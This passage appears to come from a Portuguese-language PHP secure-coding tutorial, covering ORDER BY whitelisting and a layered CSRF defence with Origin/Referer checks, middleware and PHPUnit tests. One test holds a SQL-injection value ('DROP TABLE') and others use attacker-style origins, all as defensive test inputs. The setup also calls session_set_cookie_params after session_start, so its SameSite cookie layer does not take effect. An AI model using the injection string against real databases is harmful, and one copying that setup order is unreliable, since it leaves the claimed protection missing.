// Inteiros já validados. LIMIT e OFFSET não aceitam placeholder
// sem PARAM_INT, e interpolar int validado é mais simples.
$criterios->porPagina,
($criterios->pagina - 1) * $criterios->porPagina,
);
if ($criterios->termo !== '') {
$params[':prefixo'] = addcslashes($criterios->termo, '%_\\') . '%';
}
$stmt = $this->pdo->prepare($sql);
$stmt->execute($params);
return ['itens' => $stmt->fetchAll(), 'total' => (int) $total->fetchColumn()];
}
}
// ---------------------------------------- tests/CriteriosDeBuscaTest.php
declare(strict_types=1);
namespace Tests\Busca;
use App\Busca\CriteriosDeBusca;
use PHPUnit\Framework\TestCase;
final class CriteriosDeBuscaTest extends TestCase
{
public function testOrdemInventadaCaiNoPadrao(): void
{
$criterios = CriteriosDeBusca::de(['ordem' => 'preco; DROP TABLE produtos--']);
$this->assertSame('relevancia', $criterios->ordem);
$this->assertStringNotContainsString('DROP', $criterios->orderBy());
}
public function testTodaOrdemValidaProduzSqlConhecido(): void
{
foreach (array_keys(CriteriosDeBusca::opcoes()) as $chave) {
$sql = CriteriosDeBusca::de(['ordem' => $chave])->orderBy();
// Só coluna, ponto, ASC/DESC e vírgula. Nada mais entra no ORDER BY.
$this->assertMatchesRegularExpression(
'/^[a-z_.]+ (ASC|DESC)(, [a-z_.]+ (ASC|DESC))*$/i',
$sql,
);
}
}
public function testPaginaEPorPaginaSaoSaneados(): void
{
$criterios = CriteriosDeBusca::de(['pagina' => '-5', 'por' => '10000']);
$this->assertSame(1, $criterios->pagina);
$this->assertSame(12, $criterios->porPagina);
}
}
// ---------------------------------------- templates/ordenacao.php
?>
<form method="get" class="ordenacao">
<input type="hidden" name="q"
value="<?= htmlspecialchars($criterios->termo, ENT_QUOTES, 'UTF-8') ?>">
<label for="ordem">Ordenar por</label>
<select id="ordem" name="ordem" onchange="this.form.submit()">
<?php foreach (App\Busca\CriteriosDeBusca::opcoes() as $chave => $rotulo): ?>
<option value="<?= htmlspecialchars($chave, ENT_QUOTES, 'UTF-8') ?>"
<?= $criterios->ordem === $chave ? 'selected' : '' ?>>
<?= htmlspecialchars($rotulo, ENT_QUOTES, 'UTF-8') ?>
</option>
<?php endforeach; ?>
</select>
</form>
Exercício 5
Desafio: implemente uma segunda camada de proteção contra CSRF usando o header Origin/Referer: valide que o domínio de origem da requisição POST é o mesmo da aplicação. Combine com o token para defesa em profundidade.
Ver resposta
✓ Resposta: Duas armadilhas moram aqui. A primeira é comparar origem com str_contains(): https://app.exemplo.com.atacante.net passa — por isso a comparação é de string exata, e o teste cobre justamente esse caso. A segunda é tratar ausência de Origin como recusa em API pública: cliente que não é navegador não manda o header, e a checagem "segura" derruba integração legítima. Daí o veredito de três estados — e daí, também, o SameSite=Lax no cookie, que é a camada mais barata das três.
<?php
// ---------------------------------------- src/Seguranca/Veredito.php
declare(strict_types=1);
namespace App\Seguranca;
/**
* Três estados, não um booleano: navegador antigo pode não mandar Origin e
* proxy corporativo às vezes remove o Referer. "Não deu para saber" é uma
* resposta diferente de "veio de fora", e cada aplicação decide o que fazer
* com ela.
*/
enum Veredito
{
case Aprovada;
case Recusada;
case SemEvidencia;
}
// ---------------------------------------- src/Seguranca/VerificadorDeOrigem.php
declare(strict_types=1);
namespace App\Seguranca;
use App\Http\Requisicao;
/**
* Defesa em profundidade. O token CSRF já protege; esta camada cobre os casos
* em que ele falha por acidente — rota nova que alguém esqueceu de proteger,
* sessão perdida, token vazado num Referer para fora. Não substitui o token.
*/
final class VerificadorDeOrigem
{
/** @param list<string> $origensPermitidas ex.: ['https://app.exemplo.com'] */
public function __construct(private readonly array $origensPermitidas) {}
public function verificar(Requisicao $requisicao): Veredito
{
if (!$requisicao->mudaEstado()) {
return Veredito::Aprovada;
}
// Origin é o header certo para isto: o navegador o envia em toda
// requisição que muda estado e ele NÃO carrega caminho nem query —
// não vaza URL, ao contrário do Referer.
$origem = $requisicao->cabecalho('Origin');
if ($origem !== null && $origem !== 'null') {
return $this->permitida($origem) ? Veredito::Aprovada : Veredito::Recusada;
}
// Fallback: o Referer traz a URL inteira; só a origem interessa.
$referer = $requisicao->cabecalho('Referer');
if ($referer !== null && $referer !== '') {
$partes = parse_url($referer);
if (!isset($partes['scheme'], $partes['host'])) {
return Veredito::Recusada;
}
$normalizada = $partes['scheme'] . '://' . $partes['host']
. (isset($partes['port']) ? ':' . $partes['port'] : '');
return $this->permitida($normalizada) ? Veredito::Aprovada : Veredito::Recusada;
}
// Nenhum dos dois chegou: não dá para afirmar nada.
return Veredito::SemEvidencia;
}
private function permitida(string $origem): bool
{
// Comparação EXATA de string, nunca str_contains nem regex frouxa.
// "https://app.exemplo.com" com str_contains casa também com
// "https://app.exemplo.com.atacante.net" — que é domínio do atacante.
return in_array(rtrim($origem, '/'), $this->origensPermitidas, true);
}
}
// ---------------------------------------- src/Http/ValidaOrigemECSRF.php
declare(strict_types=1);
namespace App\Http;
use App\Seguranca\TokenCSRF;
use App\Seguranca\Veredito;
use App\Seguranca\VerificadorDeOrigem;
final class ValidaOrigemECSRF implements Middleware
{
public function __construct(
private readonly TokenCSRF $csrf,
private readonly VerificadorDeOrigem $origem,
/** Se true, requisição sem Origin nem Referer é barrada. */
private readonly bool $exigirEvidenciaDeOrigem = false,
/** @var list<string> */
private readonly array $rotasIsentas = [],
) {}
public function processar(Requisicao $requisicao, callable $proximo): Resposta
{
if (!$requisicao->mudaEstado() || $this->isenta($requisicao->caminho)) {
return $proximo($requisicao);
}
// Camada 1 — a origem. Barra ANTES de tocar na sessão: é a checagem
// mais barata e não depende de estado nenhum.
$veredito = $this->origem->verificar($requisicao);
if ($veredito === Veredito::Recusada) {
$this->registrar($requisicao, 'origem recusada');
return new Resposta('Origem da requisição não autorizada.', 403);
}
if ($veredito === Veredito::SemEvidencia && $this->exigirEvidenciaDeOrigem) {
$this->registrar($requisicao, 'sem Origin nem Referer');
return new Resposta('Não foi possível confirmar a origem.', 403);
}
// Camada 2 — o token. Continua sendo a defesa principal.
$recebido = (string) ($requisicao->post['_token']
?? $requisicao->cabecalho('X-CSRF-Token')
?? '');
if (!$this->csrf->validar($recebido)) {
$this->registrar($requisicao, 'token inválido');
return new Resposta('Token CSRF inválido ou expirado.', 419);
}
return $proximo($requisicao);
}
private function isenta(string $caminho): bool
{
foreach ($this->rotasIsentas as $padrao) {
if (fnmatch($padrao, $caminho)) {
return true;
}
}
return false;
}
private function registrar(Requisicao $requisicao, string $motivo): void
{
// Log é o que transforma a defesa em detecção: um pico de "origem
// recusada" na mesma rota é ataque em andamento, não usuário confuso.
error_log(sprintf(
'[csrf] %s %s recusada (%s) origin=%s referer=%s ip=%s',
$requisicao->metodo,
$requisicao->caminho,
$motivo,
$requisicao->cabecalho('Origin') ?? '-',
$requisicao->cabecalho('Referer') ?? '-',
$_SERVER['REMOTE_ADDR'] ?? '-',
));
}
}
// ---------------------------------------- public/index.php (montagem)
declare(strict_types=1);
use App\Http\HeadersDeSeguranca;
use App\Http\Pilha;
use App\Http\ValidaOrigemECSRF;
use App\Seguranca\TokenCSRF;
use App\Seguranca\VerificadorDeOrigem;
session_start();
// O cookie de sessão é a terceira camada, e a mais barata de todas:
// SameSite=Lax sozinho já derruba o CSRF clássico por formulário.
session_set_cookie_params([
'httponly' => true,
'secure' => true,
'samesite' => 'Lax',
]);
$pilha = new Pilha([
new HeadersDeSeguranca(),
new ValidaOrigemECSRF(
csrf: new TokenCSRF(),
origem: new VerificadorDeOrigem([
'https://app.exemplo.com',
'https://www.exemplo.com',
]),
// Em API pública, deixe false: cliente que não é navegador
// legitimamente não manda Origin.
exigirEvidenciaDeOrigem: true,
rotasIsentas: ['/webhooks/*'],
),
]);
// ---------------------------------------- tests/VerificadorDeOrigemTest.php
declare(strict_types=1);
namespace Tests\Seguranca;
use App\Http\Requisicao;
use App\Seguranca\Veredito;
use App\Seguranca\VerificadorDeOrigem;
use PHPUnit\Framework\TestCase;
final class VerificadorDeOrigemTest extends TestCase
{
private function post(array $cabecalhos): Requisicao
{
return new Requisicao('POST', '/pedidos', $cabecalhos);
}
public function testOriginPropriaEAprovada(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
$this->assertSame(
Veredito::Aprovada,
$verificador->verificar($this->post(['Origin' => 'https://app.exemplo.com'])),
);
}
public function testOriginDeTerceiroERecusada(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
$this->assertSame(
Veredito::Recusada,
$verificador->verificar($this->post(['Origin' => 'https://evil.example'])),
);
}
public function testDominioQueApenasComecaIgualERecusado(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
// O caso que um str_contains() deixaria passar.
$this->assertSame(
Veredito::Recusada,
$verificador->verificar($this->post([
'Origin' => 'https://app.exemplo.com.atacante.net',
])),
);
}
public function testHttpNaoEquivaleAHttps(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
$this->assertSame(
Veredito::Recusada,
$verificador->verificar($this->post(['Origin' => 'http://app.exemplo.com'])),
);
}
public function testSemOriginCaiNoReferer(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
$this->assertSame(
Veredito::Aprovada,
$verificador->verificar($this->post([
'Referer' => 'https://app.exemplo.com/carrinho?cupom=X',
])),
);
}
public function testSemNenhumDosDoisNaoHaEvidencia(): void
{
$verificador = new VerificadorDeOrigem(['https://app.exemplo.com']);
$this->assertSame(Veredito::SemEvidencia, $verificador->verificar($this->post([])));
}
}